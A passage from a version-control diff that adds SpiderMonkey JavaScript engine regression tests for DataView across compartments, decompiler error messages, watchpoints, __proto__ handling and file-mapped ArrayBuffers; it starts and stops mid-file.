4.4.7: Operations + checkThrow(() => o.buffer, TypeError); // WebIDL 4.4.6: Attributes, section 2 + checkThrow(() => o.byteOffset, TypeError); + checkThrow(() => o.byteLength, TypeError); + + // proxy for view of buffer: should work + assertEq(alien_view.buffer.byteLength > 0, true); + assertEq(alien_view.getUint8(4), 100); + + // Bug 753996: when throwing an Error whose message contains the name of a + // function, the JS engine calls js_ValueToFunction to produce the function + // name to include in the message. js_ValueToFunction does not unwrap its + // argument. So if the function is actually a wrapper, then + // js_ValueToFunction will throw a TypeError ("X is not a function"). + // Confusingly, this TypeError uses the decompiler, which *will* unwrap the + // object to get the wrapped function name out, so the final error will + // look something like "SomeFunction() is not a function".) + var weirdo = Object.create(alien.eval("new Date")); + var e = null; + try { + weirdo.getTime(); + } catch (exc) { + e = exc; + } + if (!e) { + print("==== TODO but PASSED? ===="); + print("Bug 753996 unexpectedly passed"); + } + + // proto is proxy for view of buffer: should throw TypeError + // + // As of this writing, bug 753996 causes this to throw the *wrong* + // TypeError, and in fact it throws a (thisglobal).TypeError instead of + // alien.TypeError. + var av = Object.create(alien_view); + checkThrowTODO(() => av.getUint8(4), alien.TypeError); + checkThrowTODO(() => av.buffer, alien.TypeError); + + // view of object whose proto is buffer. This should not work per dherman. + // Note that DataView throws a TypeError while TypedArrays create a + // zero-length view. Odd though it seems, this is correct: TypedArrays have + // a constructor that takes a length argument; DataViews do not. So a + // TypedArray will do ToUint32 and end up passing a zero as the + // constructor's length argument. + buffer = Object.create(buffer1); + checkThrow(() => new DataView(buffer), TypeError); + + // view of proxy for buffer + av = new DataView(alien_buffer); + assertEq(av.getUint8(4), 100); + assertEq(Object.getPrototypeOf(av), DataView.prototype); + + // Bug 760904: call another compartment's constructor with an ArrayBuffer + // from this compartment. + var alien_constructor = alien.DataView; + var local_buffer = (new Int8Array(3)).buffer; + var foreign_exchange_student = new alien_constructor(local_buffer); + + // gc bug 787775 + var ab = new ArrayBuffer(4); + var dv = new DataView(ab); + dv = 1; + gc(); + + reportCompare(0, 0, 'done.'); + exitFunc ('test'); +} + +test(); diff --git a/js/src/tests/js1_8_5/extensions/decompile-for-of.js b/js/src/tests/js1_8_5/extensions/decompile-for-of.js new file mode 100644 index 000000000..b99e20a40 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/decompile-for-of.js @@ -0,0 +1,27 @@ +// The decompiler can handle the implicit call to @@iterator in a for-of loop. + +var x; +function check(code, msg) { + var s = "no exception thrown"; + try { + eval(code); + } catch (exc) { + s = exc.message; + } + + assertEq(s, msg); +} + +x = {}; +check("for (var v of x) throw fit;", "x is not iterable"); +check("[...x]", "x is not iterable"); +check("Math.hypot(...x)", "x is not iterable"); + +x[Symbol.iterator] = "potato"; +check("for (var v of x) throw fit;", "x is not iterable"); + +x[Symbol.iterator] = {}; +check("for (var v of x) throw fit;", "x[Symbol.iterator] is not a function"); + +if (typeof reportCompare === "function") + reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/extensions/destructure-accessor.js b/js/src/tests/js1_8_5/extensions/destructure-accessor.js new file mode 100644 index 000000000..e8c57bb93 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/destructure-accessor.js @@ -0,0 +1,75 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var gTestfile = 'destructure-accessor.js'; +//----------------------------------------------------------------------------- +var BUGNUMBER = 536472; +var summary = + 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors'; + +print(BUGNUMBER + ": " + summary); + +//----------------------------------------------------------------------------- + +function expectOk(s) +{ + try + { + eval(s); + return; + } + catch (e) + { + assertEq(true, false, + "expected no error parsing '" + "', got : " + e); + } +} + +function expectSyntaxError(s) +{ + try + { + eval(s); + throw new Error("no error thrown"); + } + catch (e) + { + assertEq(e instanceof SyntaxError, true, + "expected syntax error parsing '" + s + "', got: " + e); + } +} + +expectSyntaxError("({ get x([]) { } })"); +expectSyntaxError("({ get x({}) { } })"); +expectSyntaxError("({ get x(a, []) { } })"); +expectSyntaxError("({ get x(a, {}) { } })"); +expectSyntaxError("({ get x([], a) { } })"); +expectSyntaxError("({ get x({}, a) { } })"); +expectSyntaxError("({ get x([], a, []) { } })"); +expectSyntaxError("({ get x([], a, {}) { } })"); +expectSyntaxError("({ get x({}, a, []) { } })"); +expectSyntaxError("({ get x({}, a, {}) { } })"); + +expectOk("({ get x() { } })"); + + +expectSyntaxError("({ set x() { } })"); +expectSyntaxError("({ set x(a, []) { } })"); +expectSyntaxError("({ set x(a, b, c) { } })"); + +expectOk("({ set x([]) { } })"); +expectOk("({ set x({}) { } })"); +expectOk("({ set x([a]) { } })"); +expectOk("({ set x([a, b]) { } })"); +expectOk("({ set x([a,]) { } })"); +expectOk("({ set x([a, b,]) { } })"); +expectOk("({ set x([, b]) { } })"); +expectOk("({ set x([, b,]) { } })"); +expectOk("({ set x([, b, c]) { } })"); +expectOk("({ set x([, b, c,]) { } })"); +expectOk("({ set x({ a: a }) { } })"); +expectOk("({ set x({ a: a, b: b }) { } })"); + +//----------------------------------------------------------------------------- + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/empty.txt b/js/src/tests/js1_8_5/extensions/empty.txt new file mode 100644 index 000000000..e69de29bb --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/empty.txt diff --git a/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.js b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.js new file mode 100644 index 000000000..cea0cd799 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.js @@ -0,0 +1,41 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function viewToString(view) +{ + return String.fromCharCode.apply(null, view); +} + +function assertThrows(f, wantException) +{ + try { + f(); + assertEq(true, false, "expected " + wantException + " exception"); + } catch (e) { + assertEq(e.name, wantException.name, e.toString()); + } +} + +function test() { + var filename = "file-mapped-arraybuffers.txt"; + var buffer = createMappedArrayBuffer(filename); + var view = new Uint8Array(buffer); + assertEq(viewToString(view), "01234567abcdefghijkl"); + + var buffer2 = createMappedArrayBuffer(filename, 8); + view = new Uint8Array(buffer2); + assertEq(viewToString(view), "abcdefghijkl"); + + var buffer3 = createMappedArrayBuffer(filename, 0, 8); + view = new Uint8Array(buffer3); + assertEq(viewToString(view), "01234567"); + + // Check that invalid sizes and offsets are caught + assertThrows(() => createMappedArrayBuffer("empty.txt", 8), RangeError); + assertThrows(() => createMappedArrayBuffer("empty.txt", 0, 8), Error); +} + +if (getBuildConfiguration()["mapped-array-buffer"]) + test(); +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.txt b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.txt new file mode 100644 index 000000000..4289a17b8 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.txt @@ -0,0 +1 @@ +01234567abcdefghijkl
\ No newline at end of file diff --git a/js/src/tests/js1_8_5/extensions/is-generator.js b/js/src/tests/js1_8_5/extensions/is-generator.js new file mode 100644 index 000000000..6c77adda8 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/is-generator.js @@ -0,0 +1,23 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +/* + * Bug 648355: Function.prototype.isGenerator + */ + +reportCompare(true, "isGenerator" in Function.prototype, "Function.prototype.isGenerator present"); + +reportCompare(false, (function(){}).isGenerator(), "lambda is not a generator fn"); +reportCompare(false, Function.prototype.toString.isGenerator(), "native is not a generator fn"); +reportCompare(false, (function(){with(obj){}}).isGenerator(), "heavyweight is not a generator fn"); +reportCompare(false, (function(){obj}).isGenerator(), "upvar function is not a generator fn"); + +reportCompare(true, (function(){yield}).isGenerator(), "simple generator fn"); +reportCompare(true, (function(){with(obj){yield}}).isGenerator(), "heavyweight generator fn"); +reportCompare(true, (function(){yield; obj}).isGenerator(), "upvar generator fn"); + +reportCompare(false, Function.prototype.isGenerator.call(42), "number is not a generator fn"); +reportCompare(false, Function.prototype.isGenerator.call({}), "vanilla object is not a generator fn"); +reportCompare(false, Function.prototype.isGenerator.call(new Date()), "date object is not a generator fn"); diff --git a/js/src/tests/js1_8_5/extensions/mutable-proto-special-form.js b/js/src/tests/js1_8_5/extensions/mutable-proto-special-form.js new file mode 100644 index 000000000..b196507f2 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/mutable-proto-special-form.js @@ -0,0 +1,91 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 948583; +var summary = + "Make __proto__ in object literals a special form not influenced by " + + "|Object.prototype|"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +var passed = true; + +function performProtoTests(msg) +{ + print("Testing " + msg); + assertEq(passed, true, "passed wrong at start of test set"); + + assertEq(Object.getPrototypeOf({ __proto__: null }), null); + assertEq(Object.getPrototypeOf({ __proto__: undefined }), Object.prototype); + assertEq(Object.getPrototypeOf({ __proto__: 17 }), Object.prototype); + + var obj = {}; + assertEq(Object.getPrototypeOf({ __proto__: obj }), obj); + + assertEq(passed, true, "passed wrong at end of test set"); + print("Tests of " + msg + " passed!"); +} + +function poisonProto(obj) +{ + Object.defineProperty(obj, "__proto__", + { + configurable: true, + enumerable: true, + set: function(v) { passed = false; }, + }); +} + +performProtoTests("initial behavior"); + +var desc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__"); +var setProto = desc.set; +delete Object.prototype.__proto__; + +performProtoTests("behavior after Object.prototype.__proto__ deletion"); + +Object.defineProperty(Object.prototype, "__proto__", + { + configurable: true, + enumerable: false, + set: function(v) { passed = false; }, + }); + +performProtoTests("behavior after making Object.prototype.__proto__ a " + + "custom setter"); + +Object.defineProperty(Object.prototype, "__proto__", { set: undefined }); + +performProtoTests("behavior after making Object.prototype.__proto__'s " + + "[[Set]] === undefined"); + +try +{ + var superProto = Object.create(null); + poisonProto(superProto); + setProto.call(Object.prototype, superProto); + + performProtoTests("behavior after mutating Object.prototype.[[Prototype]]"); + + // Note: The handler below will have to be updated to exempt a scriptable + // getPrototypeOf trap (to instead consult the target whose [[Prototype]] + // is safely non-recursive), if we ever implement one. + var death = new Proxy(Object.create(null), + new Proxy({}, { get: function() { passed = false; } })); + + setProto.call(Object.prototype, death); + + performProtoTests("behavior after making Object.prototype.[[Prototype]] a " + + "proxy that throws for any access"); +} +catch (e) {} + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("Tests complete"); diff --git a/js/src/tests/js1_8_5/extensions/object-toSource-undefined-getter.js b/js/src/tests/js1_8_5/extensions/object-toSource-undefined-getter.js new file mode 100644 index 000000000..a207e00c9 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/object-toSource-undefined-getter.js @@ -0,0 +1,9 @@ +/* Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ */ + +var desc = { get: undefined, set: undefined, configurable: true, enumerable: true }; +var obj = Object.defineProperty({}, "prop", desc); +assertEq(obj.toSource(), "({})"); + +if (typeof reportCompare === "function") + reportCompare(0, 0); diff --git a/js/src/tests/js1_8_5/extensions/object-toSource-with-symbol-keys.js b/js/src/tests/js1_8_5/extensions/object-toSource-with-symbol-keys.js new file mode 100644 index 000000000..cbd019e1e --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/object-toSource-with-symbol-keys.js @@ -0,0 +1,14 @@ +/* Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ */ + +var obj = {}; +obj[Symbol.iterator] = 1; +assertEq(obj.toSource(), "({[Symbol.iterator]:1})"); +obj[Symbol(undefined)] = 2; +obj[Symbol('ponies')] = 3; +obj[Symbol.for('ponies')] = 4; +assertEq(obj.toSource(), + '({[Symbol.iterator]:1, [Symbol()]:2, [Symbol("ponies")]:3, [Symbol.for("ponies")]:4})'); + +if (typeof reportCompare === "function") + reportCompare(0, 0); diff --git a/js/src/tests/js1_8_5/extensions/proxy-proto-setter.js b/js/src/tests/js1_8_5/extensions/proxy-proto-setter.js new file mode 100644 index 000000000..37e620cd1 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/proxy-proto-setter.js @@ -0,0 +1,50 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Blake Kaplan + +function expect(actual, arg) { + reportCompare(expect.expected, actual, arg); +} + +var window = { set x(y) { expect(this, y) }, y: 4 }; +expect.expected = window; +window.x = "setting through a setter directly"; +window.y = 5; +reportCompare(5, window.y, "setting properties works"); +var easy = { easy: 'yes', __proto__: window } +expect.expected = easy; +easy.x = "setting through a setter all-native on prototype"; +easy.y = 6; +reportCompare(5, window.y, "window.y remains as it was"); +reportCompare(6, easy.y, "shadowing works properly"); + +var sandbox = evalcx(''); +sandbox.window = window; +sandbox.print = print; +sandbox.expect = expect; +var hard = evalcx('Object.create(window)', sandbox); +expect.expected = hard; +hard.x = "a setter through proxy -> native"; +hard.y = 6; +reportCompare(5, window.y, "window.y remains as it was through a proxy"); +reportCompare(6, hard.y, "shadowing works on proxies"); + +hard.__proto__ = { 'passed': true } +reportCompare(true, hard.passed, "can set proxy.__proto__ through a native"); + +var inverse = evalcx('({ set x(y) { expect(this, y); }, y: 4 })', sandbox); +expect.expected = inverse; +inverse.x = "setting through a proxy directly"; +inverse.y = 5; +reportCompare(5, inverse.y, "setting properties works on proxies"); + +var inversehard = Object.create(inverse); +expect.expected = inversehard; +inversehard.x = "setting through a setter with a proxy on the proto chain"; +inversehard.y = 6; +reportCompare(5, inverse.y, "inverse.y remains as it was"); +reportCompare(6, inversehard.y, "shadowing works native -> proxy"); + +inversehard.__proto__ = { 'passed': true } +reportCompare(true, inversehard.passed, "can set native.__proto__ through a proxy"); diff --git a/js/src/tests/js1_8_5/extensions/recursion.js b/js/src/tests/js1_8_5/extensions/recursion.js new file mode 100644 index 000000000..339e11202 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/recursion.js @@ -0,0 +1,60 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: + * Christian Holler <decoder@own-hero.net> + */ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 622167; +var summary = 'Handle infinite recursion'; +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +function eval() { eval(); } + +function DoWhile_3() +{ + eval(); +} + +try +{ + DoWhile_3(); +} +catch(e) { } + +var r; +function f() +{ + r = arguments; + test(); + yield 170; +} + +function test() +{ + function foopy() + { + try + { + for (var i in f()); + } + catch (e) + { + gc(); + } + } + foopy(); +} +test(); + +/******************************************************************************/ + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("All tests passed!"); diff --git a/js/src/tests/js1_8_5/extensions/redeclaration-of-catch-warning.js b/js/src/tests/js1_8_5/extensions/redeclaration-of-catch-warning.js new file mode 100644 index 000000000..30d1a201e --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/redeclaration-of-catch-warning.js @@ -0,0 +1,37 @@ +// |reftest| skip-if(!xulRuntime.shell) +// +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 622646; +var summary = "Shadowing an exception identifier in a catch block with a " + + "|const| or |let| declaration should throw an error"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +options("strict"); + +function assertRedeclarationErrorThrown(expression) +{ + try + { + evaluate(expression); + throw new Error("Redeclaration error wasn't thrown"); + } + catch(e) + { + assertEq(e.message.indexOf("catch") > 0, true, + "wrong error, got " + e.message); + } +} + +assertRedeclarationErrorThrown("try {} catch(e) { const e = undefined; }"); +assertRedeclarationErrorThrown("try {} catch(e) { let e; }"); + +if (typeof reportCompare === "function") + reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/regress-558541.js b/js/src/tests/js1_8_5/extensions/regress-558541.js new file mode 100644 index 000000000..a6a40037a --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-558541.js @@ -0,0 +1,12 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Jeff Walden <jwalden+code@mit.edu> + */ + +options("strict"); +for (var i = 0; i < 5; i++) + Boolean.prototype = 42; + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/regress-604781-1.js b/js/src/tests/js1_8_5/extensions/regress-604781-1.js new file mode 100644 index 000000000..a7c43f95d --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-604781-1.js @@ -0,0 +1,24 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var watcherCount, setterCount; +function watcher(id, oldval, newval) { watcherCount++; return newval; } +function setter(newval) { setterCount++; } + +var p = { set x(v) { setter(v); } }; +p.watch('x', watcher); + +watcherCount = setterCount = 0; +p.x = 2; +assertEq(setterCount, 1); +assertEq(watcherCount, 1); + +var o = Object.defineProperty({}, 'x', { set:setter, enumerable:true, configurable:true }); +o.watch('x', watcher); + +watcherCount = setterCount = 0; +o.x = 2; +assertEq(setterCount, 1); +assertEq(watcherCount, 1); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-604781-2.js b/js/src/tests/js1_8_5/extensions/regress-604781-2.js new file mode 100644 index 000000000..7aba4a274 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-604781-2.js @@ -0,0 +1,13 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var log; +function watcher(id, old, newval) { log += 'watcher'; return newval; } +var o = { set x(v) { log += 'setter'; } }; +o.watch('x', watcher); +Object.defineProperty(o, 'x', {value: 3, writable: true}); +log = ''; +o.x = 3; +assertEq(log, 'watcher'); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-1.js b/js/src/tests/js1_8_5/extensions/regress-627984-1.js new file mode 100644 index 000000000..a3726630a --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-1.js @@ -0,0 +1,16 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// See bug 627984, comment 17, item 1. +var obj; +var methods = []; +for (var i = 0; i < 2; i++) { + obj = {m: function () { return this.x; }}; + obj.watch("m", function (id, oldval, newval) { methods[i] = oldval; }); + obj.m = 0; +} +assertEq(typeof methods[0], "function"); +assertEq(typeof methods[1], "function"); +assertEq(methods[0] !== methods[1], true); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-2.js b/js/src/tests/js1_8_5/extensions/regress-627984-2.js new file mode 100644 index 000000000..c4f1b508c --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-2.js @@ -0,0 +1,15 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// See bug 627984, comment 17, item 2. +var obj = {}; +var x; +obj.watch("m", function (id, oldval, newval) { + x = this.m; + return newval; + }); +delete obj.m; +obj.m = function () { return this.method; }; +obj.m = 2; + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-3.js b/js/src/tests/js1_8_5/extensions/regress-627984-3.js new file mode 100644 index 000000000..cbe4e10fa --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-3.js @@ -0,0 +1,14 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// Don't write string value to method slot. +// See bug 627984, comment 17, item 2. +var obj = {}; +obj.watch("m", function (id, oldval, newval) { + return 'ok'; + }); +delete obj.m; +obj.m = function () { return this.x; }; +assertEq(obj.m, 'ok'); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-4.js b/js/src/tests/js1_8_5/extensions/regress-627984-4.js new file mode 100644 index 000000000..bbc017ffb --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-4.js @@ -0,0 +1,15 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// See bug 627984, comment 17, item 3. +var obj = {}; +obj.watch("m", function (id, oldval, newval) { + delete obj.m; + obj.m = function () {}; + return newval; + }); +delete obj.m; +obj.m = 1; +assertEq(obj.m, 1); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-5.js b/js/src/tests/js1_8_5/extensions/regress-627984-5.js new file mode 100644 index 000000000..704d8421c --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-5.js @@ -0,0 +1,13 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// Bug 627984 comment 11. +var o = ({}); +o.p = function() {}; +o.watch('p', function() { }); +o.q = function() {} +delete o.p; +o.p = function() {}; +assertEq(o.p, void 0); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-6.js b/js/src/tests/js1_8_5/extensions/regress-627984-6.js new file mode 100644 index 000000000..cb1a0fca9 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-6.js @@ -0,0 +1,15 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// Bug 627984 description. +var o = Array; +o.p = function() {}; +o.watch('p', function() { }); +for(var x in o) { + o[x]; +} +delete o.p; +o.p = function() {}; +assertEq(o.p, void 0); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-627984-7.js b/js/src/tests/js1_8_5/extensions/regress-627984-7.js new file mode 100644 index 000000000..b13a0e912 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-627984-7.js @@ -0,0 +1,9 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// See bug 627984 comment 20. +var obj = {m: function () {}}; +obj.watch("m", function () { throw 'FAIL'; }); +var f = obj.m; // don't call the watchpoint + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-631723.js b/js/src/tests/js1_8_5/extensions/regress-631723.js new file mode 100644 index 000000000..f7c755603 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-631723.js @@ -0,0 +1,10 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var o = {a:1, b:2}; +o.watch("p", function() { return 13; }); +delete o.p; +o.p = 0; +assertEq(o.p, 13); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-636697.js b/js/src/tests/js1_8_5/extensions/regress-636697.js new file mode 100644 index 000000000..6b3b1de37 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-636697.js @@ -0,0 +1,11 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var a = {set p(x) {}}; +a.watch('p', function () {}); +var b = Object.create(a); +b.watch('p', function () {}); +delete b.p; +b.p = 0; + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-636818.js b/js/src/tests/js1_8_5/extensions/regress-636818.js new file mode 100644 index 000000000..9fa1bc379 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-636818.js @@ -0,0 +1,9 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +a = evalcx(''); +a.__proto__ = ''.__proto__; +a.length = 3; // don't assert + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-637985.js b/js/src/tests/js1_8_5/extensions/regress-637985.js new file mode 100644 index 000000000..305bfc820 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-637985.js @@ -0,0 +1,8 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var obj = {}; +obj.watch(-1, function(){}); +obj.unwatch("-1"); // don't assert + +reportCompare(0, 0, 'ok');
\ No newline at end of file diff --git a/js/src/tests/js1_8_5/extensions/regress-645160.js b/js/src/tests/js1_8_5/extensions/regress-645160.js new file mode 100644 index 000000000..933d3e261 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-645160.js @@ -0,0 +1,8 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function potatoMasher(obj, arg) { this.eval(arg); } +potatoMasher(this, "var s = Error().stack"); +assertEq(/potatoMasher/.exec(s) instanceof Array, true); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-650753.js b/js/src/tests/js1_8_5/extensions/regress-650753.js new file mode 100644 index 000000000..a518ec52a --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-650753.js @@ -0,0 +1,8 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var x = {}, h = new WeakMap; +h.set(x, null); +gc(); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-677589.js b/js/src/tests/js1_8_5/extensions/regress-677589.js new file mode 100644 index 000000000..0bdb2e79f --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-677589.js @@ -0,0 +1,10 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +try { + clone(null); // don't crash +} catch (exc if exc instanceof TypeError) { +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-677924.js b/js/src/tests/js1_8_5/extensions/regress-677924.js new file mode 100644 index 000000000..2323fab4f --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-677924.js @@ -0,0 +1,14 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +try { + version(4096); // don't assert +} catch (exc) { +} + +try { + version(-1); // don't assert +} catch (exc) { +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-691746.js b/js/src/tests/js1_8_5/extensions/regress-691746.js new file mode 100644 index 000000000..26f732d07 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-691746.js @@ -0,0 +1,11 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var obj = {}; +try { + obj.watch(QName(), function () {}); +} catch (exc) { +} +gc(); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/regress-696109.js b/js/src/tests/js1_8_5/extensions/regress-696109.js new file mode 100644 index 000000000..4a56340d3 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/regress-696109.js @@ -0,0 +1,13 @@ +// |reftest| skip-if(!xulRuntime.shell) +/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Dave Herman <dherman@mozilla.com> + */ + +// Bug 696109 - fixed a precedence bug in with/while nodes +Reflect.parse("with({foo})bar"); +Reflect.parse("while({foo})bar"); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/selfhosted-detecting-strict.js b/js/src/tests/js1_8_5/extensions/selfhosted-detecting-strict.js new file mode 100644 index 000000000..cb4c026ea --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/selfhosted-detecting-strict.js @@ -0,0 +1,27 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 843004; +var summary = + "Don't emit a strict warning for the undefined-property detection pattern in self-hosted code"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +options("strict", "werror"); + +// Don't strict-warn (and throw, because of strict) when self-hosted code uses +// detecting-safe undefined-property accesses (|options.weekday !== undefined| +// and similar in ToDateTimeOptions, to be precise). +new Date().toLocaleString("en-US", {}); + +// If we get here, the test passed. + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("Tests complete"); diff --git a/js/src/tests/js1_8_5/extensions/set-property-non-extensible.js b/js/src/tests/js1_8_5/extensions/set-property-non-extensible.js new file mode 100644 index 000000000..3d077356a --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/set-property-non-extensible.js @@ -0,0 +1,30 @@ +// |reftest| skip +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 600128; +var summary = + "Properly handle attempted addition of properties to non-extensible objects"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +var o = Object.freeze({}); +for (var i = 0; i < 10; i++) + print(o.u = ""); + +Object.freeze(this); +for (let j = 0; j < 10; j++) + print(u = ""); + + +/******************************************************************************/ + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("All tests passed!"); diff --git a/js/src/tests/js1_8_5/extensions/sharedtypedarray.js b/js/src/tests/js1_8_5/extensions/sharedtypedarray.js new file mode 100644 index 000000000..68388ed86 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/sharedtypedarray.js @@ -0,0 +1,263 @@ +// |reftest| skip-if(!xulRuntime.shell) +/* -*- Mode: 